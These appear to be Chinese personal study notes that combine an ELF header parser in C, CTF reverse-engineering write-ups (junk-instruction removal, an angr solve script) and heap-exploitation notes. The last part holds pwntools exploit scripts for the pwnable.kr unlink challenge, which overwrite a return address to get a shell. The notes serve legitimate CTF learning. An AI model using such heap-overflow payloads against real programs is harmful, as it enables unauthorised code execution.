一个可执行文件至少有一个该类型的段.PT_LOAD表述的是可装载的段,这种类型的段会被装载或者映射到内存中, 编译器如何对节段进行组织安排​ 这里所说的是编译环节,从源代码到二进制文件. ELF装载过程​ 这里是指把二进制文件加载进内存的过程 问题一个elf程序或者动态库是否必须有某些节,他们固定的名字和含义 编译器如何对这些段进行编排和组织,顺序是否可以任意调换 是否可以欺骗程序加载器或者反汇编引擎（例如，增、删、改text段） 文件头52???? magic number16字节 还剩36字节 8*2 + 4 * 2 + 4 + 4 * 2 = 36 0x3e = 62 测试删除一些段,程序是否还能正常运行? 程序必须的段 节是哪些?? 怎么增删改text段等 欺骗编译器等 代码编写自己也要编译成32位才行 gcc -m32 1.c && ./a.out test 可以参考readelf 先把32位的都给写好,然后再加上64位的 1.改进,32位 64位,根据文件头判断,然后再进行解析 解析段和节,名称 起始和结束位置, 大小,权限 fatal error: elf32.h: No such file or directory #include <elf32.h> fatal error: bits/libc-header-start.h: No such file or directory https://stackoverflow.com/questions/54082459/fatal-error-bits-libc-header-start-h-no-such-file-or-directory-while-compili e_ident 怎么输出多位, c 怎么定义空格字符呢? gcc -m32 1.c 需要编译成32位的,目前也只能解析32位程序 123456789101112131415161718192021222324252627282930313233343536373839404142434445464748495051525354555657585960616263646566676869707172737475767778798081828384858687888990919293949596979899100101102103104105106107108109110111112113114115116117118119120121122123124#include <stdio.h>#include <string.h>#include <errno.h>#include <elf.h>#include <unistd.h>#include <stdlib.h>#include <sys/mman.h>#include <stdint.h>#include <sys/stat.h>#include <fcntl.h>// 解析文件头// int check_elf_head(file)// {// printf("just a test%d\n",file[0]);// return 0;// }int main(int argc, char **argv){ int fd, i; uint8_t *mem; struct stat st; char *StringTable, *interp; Elf32_Ehdr *Elf_header; Elf32_Phdr *Pro_header; Elf32_Shdr *Section_header; if (argc < 2) { printf("usage: %s <executable> \n", argv[0]); exit(0); } if ((fd = open(argv[0], O_RDONLY)) < 0) //什么情况下会这样呢? 和权限好像没关系 { perror("open"); exit(-1); } if (fstat(fd, &st) < 0) { perror("fstat"); exit(-1); } mem = mmap(NULL, st.st_size, PROT_READ, MAP_PRIVATE, fd, 0); // 64位还是32位 if (mem[4] == 0x2) printf("it is 64 bit %d\n",mem[4]); else printf("it is 32 bit %d\n",mem[4]); // check_elf_head(mem); //头部信息 Elf_header = (Elf32_Ehdr *)mem; printf("\n"); printf("e_ident: \t%10x\n",Elf_header->e_ident[16]); printf("Type: \t%d\n",Elf_header->e_type); printf("Machine: \t%d\n",Elf_header->e_machine); /* Architecture */ printf("Version: \t%#02x\n",Elf_header->e_version); printf("Entry point address: \t%#02x\n",Elf_header->e_entry); printf("Start of program headers: \t%d(bytes)\n",Elf_header->e_phoff); printf("Start of section headers: \t%d(bytes)\n",Elf_header->e_shoff); printf("Flags: \t%#02x\n",Elf_header->e_flags); printf("Size of this header: \t%d(bytes)\n",Elf_header->e_ehsize); printf("Size of program headers: \t%d(bytes)\n",Elf_header->e_phentsize); printf("Number of program headers: \t%d\n",Elf_header->e_phnum); printf("Size of section headers: \t%d(bytes)\n",Elf_header->e_shentsize); printf("Number of section headers: \t%d\n",Elf_header->e_shnum); printf("Section header string table index:\t%d\n",Elf_header->e_shstrndx); // 解析节信息 readelf -S Section_header = (Elf32_Shdr *)&mem[Elf_header->e_shoff]; StringTable = &mem[Section_header[Elf_header->e_shstrndx].sh_offset]; printf("Section header list:\n\n"); char a = '|'; // size flag // for (i = 1; i < Elf_header->e_shnum; i++) { // printf("%-20s\t\t%-10x\t\t0x%x\t\t%x\t\t%c\n",&StringTable[shdr[i].sh_name],shdr[i].sh_type,shdr[i].sh_addr,shdr[i].sh_size,shdr[i].sh_flags); // } printf("[Nr] Name%-20c\t\tType%-10c\tAddr\t\tOff\tSize\tES Flg Al",a); for(i = 1; i<Elf_header->e_shnum; i++) {/*printf("\n[%-2d] %-20s %-10x %08x %06x %06x %02x %02x %02x "\ */ printf("\n[%-2d] %-20s\t\t%-10x\t%08x\t%06x\t%06x\t%02x %02x %02x "\ , i,&StringTable[Section_header->sh_name],Section_header->sh_type,Section_header->sh_addr,\ Section_header->sh_offset,Section_header->sh_size,Section_header->sh_entsize,\ Section_header->sh_flags,Section_header->sh_addralign); Section_header++; }// 解析段信息// readelf -l Pro_header = (Elf32_Phdr *)&mem[Elf_header->e_phoff]; printf("\n"); printf("\n/*****Program Headers:*****/\n"); printf("starting at offset: %d\n",Elf_header->e_phoff); printf("Number of program headers: %d\n",Elf_header->e_phnum); printf("Type Offset VirtAddr PhysAddr FileSiz MemSiz Flg\n");for(i = 0; i<Elf_header->e_phnum; i++) { printf("%d %-#6x %-#x %-#x %-#5x %-#5x %-#x\n",Pro_header->p_type,Pro_header->p_offset,\ Pro_header->p_vaddr,Pro_header->p_paddr\ ,Pro_header->p_filesz,Pro_header->p_memsz,Pro_header->p_flags); Pro_header++; } return 0;} 参考ELF(5)手册 ELF官方规范文档 https://refspecs.linuxfoundation.org/elf/gabi4+/contents.html https://refspecs.linuxfoundation.org/elf/gabi4+/ch4.eheader.html https://blog.csdn.net/qfanmingyiq/article/details/124295287 https://zhuanlan.zhihu.com/p/401446080?utm_id=0 https://github.com/jianhong-li/ElfReader https://www.52pojie.cn/forum.php?mod=viewthread&tid=591986&highlight=elf%2B%BD%E2%CE%F6

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da6f669c31e82b6529f35eda657fa0afff43b2f72663a061d2f000a676e449a5b77797feb05e5142840069d0fb2727ef5d03948256a80bbbf2864259a4747716ca7c59d078d7c318ddebf89eba4f7c1faf5f831d6ec070fa71280b4b970700697972f4b49839571bdf38005449e36f50a7c2b7abe709e82b970149dfffbe0770bca3ac99d785ef63031cf8adaf0db4a8f0cb8268ca0c51ba7be64c9f8e726ddd3f660a0ff0fd401fd31158f5c2a967aeb9c51ece84f7eec61b8b6a7b4f8619daacabdf06d83519e19b392b22aa62afc3a35f1f83c8d94b52968d6824eb99a7bb469fdc9b443506deb4b509b25c75564667db80af65e2e334e91811a6637c03c0bd68573e356afec6e3d67052d61b8a5b59ad8e488789204189a7e1c83cf7fae23aadb6ee16405a3025beb9446b468ef67c955660f213d9bae2904e180cf2049d2372e1771d7215ab141eaa8f8915eaed14dcaef705dddc748a236504a62f4d9744d55f6442267fc30e48db5dcb9dd91d4fe6009689cfc94390b5efbf7e5687db6cd20e824d0b26ae282538ce0bc469e3e6e36fb3042043e1e8e6b0263c0d1721df83d8cdf75cc4f06d240375e3bd9517bf372f89e2526d64fcfd331c17c8e56af30541c4d30d23c197d309eea84367c8bd25f625be36a4b74e42ae24e35ab5c4007af113df0ad43eb901a90336863e125a116342ecdf52988e5f94d11841f674120b38434e6f3490b04dabedbaaa829e993aec2d3159887bbba080971eccfb20f30e13d15924cd747681436ffa57df232a3b8df3aea7d0744db8a8ce9a060c2132dc3f2f1d0fef3c50125a9efcae49e8873bb5bb9239bce6d15aae3bd585868fc38e47893bcbfb730a942f4b72f8ba85fbbcc864f8cd9fbfeebf90571cea5448ec4316d46c6d4ca1ec5dc1adb5e6bc68e6af188a5187b25597bdaacbe3c98db515b2cabe4654e35319a5923b8fdc98e369c17cc429af6db69bc79de4c9eac2d90cb402e9c1834f4e7425db33a51772aa41db06c982456240f3d8a2ccc70caeecdc686f71f63e4ea0415a8b77a942d15133582b07e4dc2ecccd3d6be4512184ac21c3ddcec05c0cb8b343a3bc13b807838103cd1fa126ded04e3e2bae78766bd6d88ef223a4f98fefa8c71715c0cffddb1d44834ed78068b07c39f31f953a391bf45c87cfbda7a0cb05bb8ae8f63895590a7a06cab0b498afc405a63ad409ab3fc799caff0a17e88711f09413271c98b5 Hey, password is required here.

757d6246220447313784a310f701cd401fb2b1a545efaab207cb22606a616648dce83e31935e07c038d5318312eaf48212207018a1e312f166cabc16419929bd145ba153f22c084516d022044e26141aa82d476546849ee368eef75b9597e23c92a32019c8195ada1008a60d640feeaa Hey, password is required here.

[toc] 加花指令程序分析 程序功能​ 根据解除花指令,反编译后的代码分析可知,该程序获取用户的一个输入,然后对该输入进行三次运算,每一次都是先将输入与0x1453异或,然后左移一位,得到最后的结果. 如果这个结果等于50138则输出win. 花指令分析首先,在函数列表里没有main函数,但是汇编里面有,说明main函数没有被正确反汇编,这里有问题, 在main前面按p解析函数发现报错, 123456789101112.text:0000000000001257: The function has undefined instruction/data at the specified address.Your request has been put in the autoanalysis queue..text:0000000000001253 jz short label2.text:0000000000001255 jnz short label2.text:0000000000001255 ; ---------------------------------------------------------------------------.text:0000000000001257 db 0E9h 可以发现前面有 jz和jnz,肯定不会执行到1257,1257这里是花指令,改成nop即可 edit - patch program - change word 把E9 改成90 (0x90也就是nop,什么也不执行,往下走 即可) 此时这里还是代表数据,用快捷键c转换成代码,然后再在开头用p转换成函数即可 然后就可以F5反编译 12345678910111213int __cdecl main(int argc, const char **argv, const char **envp){ unsigned int v4; // [rsp+4h] [rbp-Ch] BYREF unsigned __int64 v5; // [rsp+8h] [rbp-8h] v5 = __readfsqword(0x28u); v4 = 0; printf("Input a number: "); __isoc99_scanf("%d", &v4); if ( (unsigned int)encrypt(v4) == 50138 ) printf("win"); return 0;} 可以开到,关键函数是encrypt,进入这里,发现这里面也有问题, 1234567891011121314151617void __fastcall encrypt(unsigned int a1){ if ( a1 > 0x1000 ) exit(0); JUMPOUT(0x11ECLL);}.text:00000000000011EB loc_11EB: ; CODE XREF: encrypt+58↓j.text:00000000000011EB ; encrypt:loc_11EB↑j.text:00000000000011EB EB FF jmp short near ptr loc_11EB+1 ; Jump.text:00000000000011ED ; ---------------------------------------------------------------------------.text:00000000000011ED C0 FF C8 sar bh, 0C8h ; Shift Arithmetic Right.text:00000000000011F0 8B 45 FC mov eax, [rbp+var_4].text:00000000000011F3 31 45 EC xor [rbp+var_14], eax ; Logical Exclusive OR.text:00000000000011F6 D1 45 EC rol [rbp+var_14], 1 ; Rotate Left.text:00000000000011F9 83 45 F8 01 add [rbp+var_8], 1 ; Add ​ 通过gdb动态调试发现, jmp short near ptr loc_11EB+1 是要跳到00000000000011EC这里,(动态运行的话是0x5555555551ec,要加上装载地址),然后往下解析, 但是在ida里面,由于这条指令的存在,它会从00000000000011ED往后解析,(不太清楚这里面的机制原理),而jump到000011EC这里就jump错了地址,所以反编译有问题. 1234567891011 0x5555555551fd <encrypt+84> cmp dword ptr [rbp - 8], 2 0x555555555201 <encrypt+88> jle encrypt+66 <encrypt+66> ↓ 0x5555555551eb <encrypt+66> jmp encrypt+67 <encrypt+67> ↓► 0x5555555551ec <encrypt+67> inc eax 0x5555555551ee <encrypt+69> dec eax 0x5555555551f0 <encrypt+71> mov eax, dword ptr [rbp - 4] 0x5555555551f3 <encrypt+74> xor dword ptr [rbp - 0x14], eax 0x5555555551f6 <encrypt+77> rol dword ptr [rbp - 0x14], 1 0x5555555551f9 <encrypt+80> add dword ptr [rbp - 8], 1 ​ 所以要想解决的话,有多个办法,一个是,jmp 到0000011ED就可以了,将FF改成00,也就再往前走一步,这样就可以了,第二个办法是都改成nop就可以了,让指令往下滑. ​ 反编译结果 123456789101112131415void __fastcall encrypt(unsigned int a1){ char v1; // bh unsigned int v2; // [rsp+14h] [rbp-14h] int i; // [rsp+20h] [rbp-8h] v2 = a1; if ( a1 > 0x1000 ) exit(0); for ( i = 0; i <= 2; ++i ) { v1 >>= 7; v2 = __ROL4__(v2 ^ 0x1453, 1); }} ​ a1是输入的值,首先a1不能大于4096, 然后v1右移7位,v2 等于 v2和0x1453异或后 左移1位,( rol dword ptr [rbp - 0x14], 1) ​ 最后的结果是50138,逆向推导,右移一位,异或0x1453,这个操作做三次,就得到了答案789 1234567891011121314#include <stdio.h>int main(){ int input = 50138; input >>= 1; input = input ^ 0x1453; input >>= 1; input = input ^ 0x1453; input >>= 1; input = input ^ 0x1453; printf("%d",input); return 0;} 运行截图 re1 asm​ 得到一个asm.s文件,汇编文件,查看可以知道是由test.c汇编而来,可以选择硬读汇编来解,也可以进行编译成二进制文件后,再反汇编反编译成伪代码进行查看. ​ gcc asm.s 得到二进制文件 a.out,然后拖进ida进行反编译,得到结果 1234567int __cdecl main(int argc, const char **argv, const char **envp){ if ( a == 29488 ) return puts("you win"); else return puts("you lose");} re2 bits概要​ 这是一道ctf的逆向题目,给了二进制文件和远程服务器连接方式.二进制文件是elf 64位,通过给程序一个正确的输入,当验证输入正确的时候,会从flag文件中读取flag.flag文件在远程服务器上,所以在本地调试好后要和服务器进行交互拿到flag. ​ 先对程序进行了逆向分析,对算法进行逆向编写,编写过程比较困难,最后失败.采取爆破的方法,利用angr工具求解. 程序分析程序伪代码1234567891011121314151617181920212223242526272829303132333435363738394041424344454647484950515253545556575859606162636465void __fastcall __noreturn main(int a1, char **a2, char **a3){ __pid_t v3; // eax __pid_t v4; // ebx int v5; // eax unsigned int v6; // [rsp+0h] [rbp-40h] BYREF unsigned int v7; // [rsp+4h] [rbp-3Ch] unsigned int size; // [rsp+8h] [rbp-38h] unsigned int size_4; // [rsp+Ch] [rbp-34h] void *ptr; // [rsp+10h] [rbp-30h] void *s; // [rsp+18h] [rbp-28h] FILE *stream; // [rsp+20h] [rbp-20h] unsigned __int64 v13; // [rsp+28h] [rbp-18h] v13 = __readfsqword(0x28u); if ( ptrace(PTRACE_TRACEME, 0LL, 1LL, 0LL) < 0 ) { puts("Do not trace me!"); exit(0); } v3 = getpid(); v4 = getsid(v3); if ( v4 != getppid() ) { puts("Do not trace me!"); exit(1); } ptr = 0LL; s = 0LL; v7 = sub_BFA(); stream = fopen("code", "rb"); if ( !stream ) { fwrite("Could not open file code!\n", 1uLL, 0x1AuLL, stderr); exit(1); } fseek(stream, 0LL, 2); size = ftell(stream); fseek(stream, 0LL, 0); ptr = malloc(size); if ( fread(ptr, size, 1uLL, stream) != 1 ) { fwrite("Error reading file code\n", 1uLL, 0x18uLL, stderr); exit(1); } size_4 = sub_C31(v7, size, (__int64)ptr); printf("Your number is %u\n", size_4); printf("Your answer: "); __isoc99_scanf("%d", &v6); v5 = sub_C31(v6, size, (__int64)ptr); if ( size_4 == v5 ) { puts("Congrats!"); s = malloc(0x40uLL); memset(s, 0, 0x40uLL); stream = fopen("flag.txt", "rb"); fgets((char *)s, 64, stream); puts((const char *)s); free(s); exit(0); } puts("Thanks for coming!"); free(ptr); exit(0);} 12345678910111213141516171819202122232425262728293031323334353637383940414243444546474849505152535455565758596061626364656667686970717273747576777879808182838485868788__int64 __fastcall sub_C31(unsigned int a1, int size, __int64 ptr){ int v3; // eax int v4; // eax unsigned __int8 v7; // [rsp+13h] [rbp-1Dh] unsigned __int8 v8; // [rsp+13h] [rbp-1Dh] unsigned __int8 v9; // [rsp+13h] [rbp-1Dh] unsigned __int8 v10; // [rsp+13h] [rbp-1Dh] unsigned __int8 v11; // [rsp+13h] [rbp-1Dh] char v12; // [rsp+13h] [rbp-1Dh] int v13; // [rsp+14h] [rbp-1Ch] unsigned int v14; // [rsp+18h] [rbp-18h] unsigned int v15; // [rsp+1Ch] [rbp-14h] int v16; // [rsp+20h] [rbp-10h] int v17; // [rsp+24h] [rbp-Ch] int i; // [rsp+28h] [rbp-8h] v17 = 0; v16 = 0; v15 = 0; v14 = 0; v13 = 0; for ( i = 0; i < size; ++i ) { v7 = *(_BYTE *)(i + ptr); if ( (v7 & 1) != 0 ) { a1 ^= dword_202020[v13]; v13 = ((_BYTE)v13 + 1) & 0xF; } v8 = v7 >> 1; v3 = v8 & 3; if ( v3 == 2 ) { v15 = dword_202020[v13] & 0xAABBCCDD; v13 = ((_BYTE)v13 + 1) & 0xF; v9 = v8 >> 2; } else if ( v3 == 3 ) { a1 += v14 + v15; v15 = 0; v14 = 0; v9 = v8 >> 2; } else { if ( v3 == 1 ) { v14 = dword_202020[v13] | 0xABCDABCD; v13 = ((_BYTE)v13 + 1) & 0xF; } v9 = v8 >> 2; } if ( (v9 & 1) != 0 ) a1 = ~a1; v10 = v9 >> 1; if ( (v10 & 1) != 0 ) a1 ^= (((a1 << 16) ^ a1) >> 16) ^ (a1 << 16); v11 = v10 >> 1; v4 = v11 & 3; if ( v4 == 2 ) { v17 = dword_202020[v13] - 539034144; v13 = ((_BYTE)v13 + 1) & 0xF; v12 = v11 >> 2; } else if ( v4 == 3 ) { a1 += v16 + v17; v17 = 0; v16 = 0; v12 = v11 >> 2; } else { if ( v4 == 1 ) { v16 = 539034132 * dword_202020[v13]; v13 = ((_BYTE)v13 + 1) & 0xF; } v12 = v11 >> 2; } if ( (v12 & 1) != 0 ) a1 = a1 - (a1 & 7) - (a1 & 7) + 7; } return a1;} 程序执行流程分析 ​ 关键流程在于,随机数v7和code经过计算后输出结果.需要根据结果反推随机值. 程序关键算法分析​ sub_C31函数对code和随机值v7进行计算,运算过程较为复杂,包含了许多位移运算,与或运算.流程较长.采用直接逆向的方法较为困难.所以采用了angr爆破的方法. 工具使用ida​ ida用于静态分析,得到反汇编代码. gdb​ gdb用于动态分析,在编写利用代码以及分析程序时,可以观察运行到某一行代码时的内存、寄存器等值和状态. angr​ angr是一个基于python的二进制分析框架,能够实施动态符号执行,和不同的静态分析.对本题目来说,angr可以对key的各种约束条件进行求解,从而爆破得到key的值. 解题思路减少循环、获取key的完整计算过程​ angr对于循环的处理较为复杂和缓慢,所以可以通过在混淆代码中加入输出key的运算过程的代码,得到完整的运算流程. 123456789101112131415161718192021222324252627282930313233343536373839404142434445464748495051525354555657585960616263646566676869707172737475767778798081828384858687888990919293949596979899100101102103104105106107108109110111112113114115116117118119120121122123124125126127128129130131132133134135136137138139140141#include <stdio.h>#include <stdlib.h>#include <time.h>int hunxiao(int randnum, int size,int *ptr){ int v3; // eax int v4; // eax int v7; // [rsp+13h] [rbp-1Dh] int v8; // [rsp+13h] [rbp-1Dh] int v9; // [rsp+13h] [rbp-1Dh] int v10; // [rsp+13h] [rbp-1Dh] int v11; // [rsp+13h] [rbp-1Dh] char v12; // [rsp+13h] [rbp-1Dh] int v13; // [rsp+14h] [rbp-1Ch] int v14; // [rsp+18h] [rbp-18h] int v15; // [rsp+1Ch] [rbp-14h] int v16; // [rsp+20h] [rbp-10h] int v17; // [rsp+24h] [rbp-Ch] int i; // [rsp+28h] [rbp-8h] v17 = 0; v16 = 0; v15 = 0; v14 = 0; v13 = 0; int dword_202020[16] = {0x24DD20CF, 0x3E4F0354, 0x18B2E85F, 0x2F2CAFB8, 0x5810ADCB,0x42F7FF85, 0x36E0D6C2, 0x5F3EF93F, 0x7F46E74A, 0x44DDC864,0x64959795, 0x39413451, 0x5DC36C45, 0x62037E7E, 0x5AEA541F,0x153F8FAC}; printf("hunxiao里面的输出%p\n",*ptr); //这里输出的有问题 printf("hunxiao里面的输出%p\n",*ptr); //这里输出的有问题 for ( i = 0; i < 2; ++i ) { //v7 = ptr[i]; v7 = *((unsigned char*)(i + (unsigned long long)ptr)); //printf("%02x\n", *(ptr + i)); printf("v7的值:%x\n",v7); //printf("v7 & 1的值%x\n",v7&1); // 看code的每个字节的第一位是否是0,如果是0进行下面操作, if ( (v7 & 1) != 0 ) { randnum ^= dword_202020[v13]; //printf("randnum:%x\n",randnum); v13 = ((unsigned char)v13 + 1) & 0xF;//这句话的作用是把它范围限制在0-15位 //printf("v13:%x\n",v13); } v8 = v7 >> 1; //code字节右移一位, //printf("v8:%x\n",v8); v3 = v8 & 3; // & 11,把v3限制在两位 // 然后根据v3的值进行选择分支运算 if ( v3 == 1 ) { v14 = dword_202020[v13] | 0xABCDABCD; v13 = ((unsigned char)v13 + 1) & 0xF;//这句话的作用是把它范围限制在0-15位 } if ( v3 == 2 ) { v15 = dword_202020[v13] & 0xAABBCCDD; v13 = ((unsigned char)v13 + 1) & 0xF;//这句话的作用是把它范围限制在0-15位 } if ( v3 == 3 ) { randnum += v14 + v15; v15 = 0; v14 = 0; } v9 = v8 >> 2; //三个判断里都有,提出来 //上面那一层判断完之后,再到下面,继续进行乱七八糟的操作 if ( (v9 & 1) != 0 ) randnum = ~randnum; v10 = v9 >> 1; if ( (v10 & 1) != 0 ) randnum ^= (((randnum << 16) ^ randnum) >> 16) ^ (randnum << 16); // 这一段和上面那个好像 v11 = v10 >> 1; v4 = v11 & 3; if ( v4 == 1 ) { v16 = 539034132 * dword_202020[v13]; //0x20210214 v13 = ((unsigned char)v13 + 1) & 0xF;//这句话的作用是把它范围限制在0-15位 } if ( v4 == 2 ) { v17 = dword_202020[v13] - 539034144; //0x20210220 v13 = ((unsigned char)v13 + 1) & 0xF;//这句话的作用是把它范围限制在0-15位 v12 = v11 >> 2; } if ( v4 == 3 ) { randnum += v16 + v17; v17 = 0; v16 = 0; v12 = v11 >> 2; } v12 = v11 >> 2; if ( (v12 & 1) != 0 ) randnum = randnum - (randnum & 7) - (randnum & 7) + 7; } return randnum;}int main(){void *s;FILE *stream;int size;void *ptr;int size_4;int v0 = time(0);srand(v0);int v2 = rand();//printf("%d\n",v2);stream = fopen("./code","rb");fseek(stream, 0, 2);size = ftell(stream);fseek(stream, 0, 0);printf("%s\n",stream);printf("size:%d\n",size);ptr = malloc(size); if ( fread(ptr, size, 1, stream) != 1 ) { fwrite("Error reading file code\n", 1, 0x18, stderr); exit(1); }printf("在外面的输出:%x\n",&ptr); //这里输出的有问题printf("ptr:%p\n",ptr);printf("&ptr:%p\n",&ptr); //&ptr的地址,里面存着ptr的地址,ptr地址里面存着数据size_4 = hunxiao(v2,size,ptr);return 0;} ​ 运行代码,得到key的处理代码 1234567891011121314151617181920212223242526272829303132333435363738394041424344key ^= dword_202020[0];key=~key;key ^= (((key << 16) ^ key) >> 16) ^ (key << 16);key ^= dword_202020[3];key = key - (key & 7) - (key & 7) + 7;key=~key;key ^= (((key << 16) ^ key) >> 16) ^ (key << 16);key += 1256252113;key ^= dword_202020[6];key += 636006435;key += 0;key ^= dword_202020[7];key ^= (((key << 16) ^ key) >> 16) ^ (key << 16);key = key - (key & 7) - (key & 7) + 7;key ^= dword_202020[10];key=~key;key += 1908961232;key = key - (key & 7) - (key & 7) + 7;key ^= dword_202020[12];key ^= (((key << 16) ^ key) >> 16) ^ (key << 16);key += 0;key = key - (key & 7) - (key & 7) + 7;key ^= dword_202020[14];key ^= (((key << 16) ^ key) >> 16) ^ (key << 16);key = key - (key & 7) - (key & 7) + 7;key ^= dword_202020[1];key += 3791846473;key=~key;key = key - (key & 7) - (key & 7) + 7;key ^= (((key << 16) ^ key) >> 16) ^ (key << 16);key = key - (key & 7) - (key & 7) + 7;key=~key;key ^= (((key << 16) ^ key) >> 16) ^ (key << 16);key = key - (key & 7) - (key & 7) + 7;key ^= (((key << 16) ^ key) >> 16) ^ (key << 16);key += 3767795326;key = key - (key & 7) - (key & 7) + 7;key ^= dword_202020[7];key += 371756133;key=~key;key = key - (key & 7) - (key & 7) + 7;key ^= dword_202020[8];key ^= (((key << 16) ^ key) >> 16) ^ (key << 16);key = key - (key & 7) - (key & 7) + 7; 编写key计算代码​ 需要替换y值 123456789101112131415161718192021222324252627282930313233343536373839404142434445464748495051525354555657585960616263646566#include <stdio.h>unsigned int dword_202020[16] = {0x24DD20CF, 0x3E4F0354, 0x18B2E85F, 0x2F2CAFB8, 0x5810ADCB, 0x42F7FF85, 0x36E0D6C2, 0x5F3EF93F,0x7F46E74A, 0x44DDC864, 0x64959795, 0x39413451, 0x5DC36C45, 0x62037E7E, 0x5AEA541F, 0x153F8FAC};int calc(unsigned int key){key ^= dword_202020[0];key = ~key;key ^= (((key << 16) ^ key) >> 16) ^ (key << 16);key ^= dword_202020[3];key = key - (key & 7) - (key & 7) + 7;key = ~key;key ^= (((key << 16) ^ key) >> 16) ^ (key << 16);key += 1256252113;key ^= dword_202020[6];key += 636006435;key += 0;key ^= dword_202020[7];key ^= (((key << 16) ^ key) >> 16) ^ (key << 16);key = key - (key & 7) - (key & 7) + 7;key ^= dword_202020[10];key = ~key;key += 1908961232;key = key - (key & 7) - (key & 7) + 7;key ^= dword_202020[12];key ^= (((key << 16) ^ key) >> 16) ^ (key << 16);key += 0;key = key - (key & 7) - (key & 7) + 7;key ^= dword_202020[14];key ^= (((key << 16) ^ key) >> 16) ^ (key << 16);key = key - (key & 7) - (key & 7) + 7;key ^= dword_202020[1];key += 3791846473;key = ~key;key = key - (key & 7) - (key & 7) + 7;key ^= (((key << 16) ^ key) >> 16) ^ (key << 16);key = key - (key & 7) - (key & 7) + 7;key = ~key;key ^= (((key << 16) ^ key) >> 16) ^ (key << 16);key = key - (key & 7) - (key & 7) + 7;key ^= (((key << 16) ^ key) >> 16) ^ (key << 16);key += 3767795326;key = key - (key & 7) - (key & 7) + 7;key ^= dword_202020[7];key += 371756133;key = ~key;key = key - (key & 7) - (key & 7) + 7;key ^= dword_202020[8];key ^= (((key << 16) ^ key) >> 16) ^ (key << 16);key = key - (key & 7) - (key & 7) + 7;return key;}int main(void) {unsigned int x = 0;unsigned int y = 0;scanf("%u", &x);y = calc(x);if (y == 730447668) { //**比赛实际服务器返回的number**） printf("right\n");} else { printf("wrong\n");}} ​ gcc -o f fk.c 得到f二进制文件 angr脚本,得到随机值1234567891011121314151617181920212223242526272829import angrimport claripyimport sysdef main(): print(" solving :", sys.argv[1]) p = angr.Project(sys.argv[1], load_options={"auto_load_libs": True}) state = p.factory.entry_state() sm = p.factory.simgr(state) def good(state): stdout_output = state.posix.dumps(sys.stdout.fileno()) return 'right'.encode() in stdout_output # :boolean def bad(state): stdout_output = state.posix.dumps(sys.stdout.fileno()) return 'wrong'.encode() in stdout_output sm.explore(find=good, avoid=bad) if sm.found: # print(sm.found[0].solver.eval(flag, cast_to=bytes) # print(sm.found[0].posix.dumps(sys.stdout.fileno()) print(sm.found[0].posix.dumps(sys.stdin.fileno())) else: print("Not found") print("Done")if __name__ == '__main__': main() 参考资料(一开始做了好久,硬逆向,发现确实不太好弄…本来想放弃了…搜了搜有原题..就参考了(抄)了一下) https://www.52pojie.cn/thread-1717425-1-1.html https://docs.angr.io

2.23 与2.30的分析,, 搭建源码,看源码, 做题 分析漏洞伪造重点,步骤 large bin 的攻击手法,根据libc的版本不同,随着libc版本的更新,加入了很多新的防御手法 https://blog.csdn.net/qq_41202237/article/details/112825556 https://ctf-wiki.org/pwn/linux/user-mode/heap/ptmalloc2/large-bin-attack/ https://github.com/shellphish/how2heap https://blog.csdn.net/A951860555/article/details/115477532 https://lexsd6.github.io/2021/11/07/Largebin%20Attack%20for%20Glibc%202.31%20学习/ gdb里查看源代码 list 2.23可以实现任意地址写 分析漏洞利用过程, 同时分析源码, 为什么会这样, 以及分析一下可以怎么样做到利用,然后找例题做一下 下一下libc源码,分析分析 如何进行调试glibc 为啥那个0x90的有四个值??? 1先放进large bin 2后放进去,然后再切歌1? fifo 还是说2 1都放进largebin里,然后再切割? largebin是filo? 总的来说,就是要伪造一个chunk,修改bk和bk_nextsize为想要修改的地址(还需要微调,bk的要-0x10,bk_nextsize要-0x20) 2.30后加入了新保护

FD=P->fd = target addr -12 BK=P->bk = expect value FD->bk = BK，即 *(target addr-12+12)=BK=expect value BK->fd = FD，即 *(expect value +8) = FD = target addr-12 堆块的链接顺序是从大到小还是?? Pwnable ​ gcc -Wl,-rpath=/home/ubuntu/glibc-all-in-one/libs/2.23-0ubuntu3_amd64//,–dynamic-linker=/home/ubuntu/glibc-all-in-one/libs/2.23-0ubuntu3_amd64/ld-linux-x86-64.so.2 1.c 1234567891011121314151617181920212223242526272829303132333435363738394041424344#include <stdio.h>#include <stdlib.h>#include <string.h>typedef struct tagOBJ{ struct tagOBJ* fd; struct tagOBJ* bk; char buf[8];}OBJ;void shell(){ system("/bin/sh");}void unlink(OBJ* P){ OBJ* BK; OBJ* FD; BK=P->bk; FD=P->fd; FD->bk=BK; BK->fd=FD;}int main(int argc, char* argv[]){ malloc(1024); OBJ* A = (OBJ*)malloc(sizeof(OBJ)); OBJ* B = (OBJ*)malloc(sizeof(OBJ)); OBJ* C = (OBJ*)malloc(sizeof(OBJ)); // double linked list: A <-> B <-> C A->fd = B; B->bk = A; B->fd = C; C->bk = B; printf("here is stack address leak: %p\n", &A); printf("here is heap address leak: %p\n", A); printf("now that you have leaks, get shell!\n"); // heap overflow! gets(A->buf); // exploit this unlink! unlink(B); return 0;} 123"A"*16 + (heap_addr+0x20+0x4) + (stack_addr+0x10) + (shell_addr)"A"*16 + (target addr -12) + ( expect value:ebp -x04) + (shell_addr) ​ 这个是要把堆中地址 接收到stack地址,修改返回地址? exp12345678910111213141516171819202122232425262728from pwn import *sh = process("./unlink")ELF=ELF("./unlink")stack = sh.recvline().strip()heap = sh.recvline().strip()payload = p32(ELF.symbols['shell']) + b"a"*12 + p32(heap+0xc) + p32(stack+0x10) sh.send(payload)sh.interactive()from pwn import *#pwn_ssh = ssh(host='pwnable.kr',user='unlink',password='guest',port=2222)p = process("/home/unlink/unlink")line1=p.readline().strip()line2=p.readline().strip()stack_addr = int(line1.split(': 0x')[1], 16)heap_addr = int(line2.split(': 0x')[1], 16)shell_addr = 0x080484ebp.sendline('A'*16 + p32(heap_addr+0x24) + p32(stack_addr+0x10) + p32(shell_addr))p.interactive() pwnable怎么用exp呢? 写到/tmp目录下 https://www.cnblogs.com/dlddw/p/13139172.html https://etenal.me/archives/972#C30 https://www.cnblogs.com/L0g4n-blog/p/13033301.html 调试源代码1 https://www.blackhat.com/presentations/bh-europe-07/Sotirov/Presentation/bh-eu-07-sotirov-apr19.pdf

